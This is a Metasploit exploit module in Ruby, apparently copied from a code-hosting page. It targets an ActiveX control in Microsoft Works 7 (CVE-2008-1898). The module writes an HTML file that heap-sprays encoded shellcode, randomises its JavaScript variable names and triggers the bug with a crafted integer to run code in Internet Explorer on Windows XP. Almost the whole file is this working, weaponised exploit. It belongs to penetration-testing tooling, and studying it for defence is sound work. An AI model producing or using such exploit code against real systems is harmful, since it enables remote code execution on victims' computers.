102 lines
3.1 KiB
Ruby
102 lines
3.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = LowRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Code Execution',
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'Description' => %q{
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The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker
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to execute arbitrary code on a system. By passing a negative integer to the
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WksPictureInterface method, an attacker could execute arbitrary code on the system
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with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6.
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This control is not marked safe for scripting, please choose your attack vector carefully.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
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'References' =>
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[
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[ 'CVE','2008-1898' ],
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[ 'OSVDB', '44458'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP2-SP3 IE 7.0', { 'Ret' => 0x0A0A0A0A } ]
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],
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'DisclosureDate' => 'Nov 28 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),
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], self.class)
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end
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def exploit
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Set the return.
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ret = Rex::Text.to_unescape([target.ret].pack('L'))
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# Randomize the javascript variable names.
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vname = rand_text_alpha(rand(10) + 1)
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var_i = rand_text_alpha(rand(10) + 1)
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rand1 = rand_text_alpha(rand(100) + 1)
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rand2 = rand_text_alpha(rand(100) + 1)
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rand3 = rand_text_alpha(rand(100) + 1)
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rand4 = rand_text_alpha(rand(100) + 1)
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rand5 = rand_text_alpha(rand(100) + 1)
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rand6 = rand_text_alpha(rand(100) + 1)
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rand7 = rand_text_alpha(rand(100) + 1)
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content = %Q|
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<html>
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<object id='#{vname}' classid='clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6'></object>
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<body>
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<script language="JavaScript">
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var #{rand1} = unescape('#{shellcode}');
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var #{rand2} = unescape('#{ret}');
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var #{rand3} = 20;
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var #{rand4} = #{rand3} + #{rand1}.length;
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while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
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var #{rand5} = #{rand2}.substring(0,#{rand4});
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var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
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while (#{rand6}.length + #{rand4} < 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
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var #{rand7} = new Array();
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for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
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#{vname}.WksPictureInterface = 168430090;
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</script>
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</body>
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</html>
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print_status("Creating HTML file ...")
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file_create(content)
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end
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end
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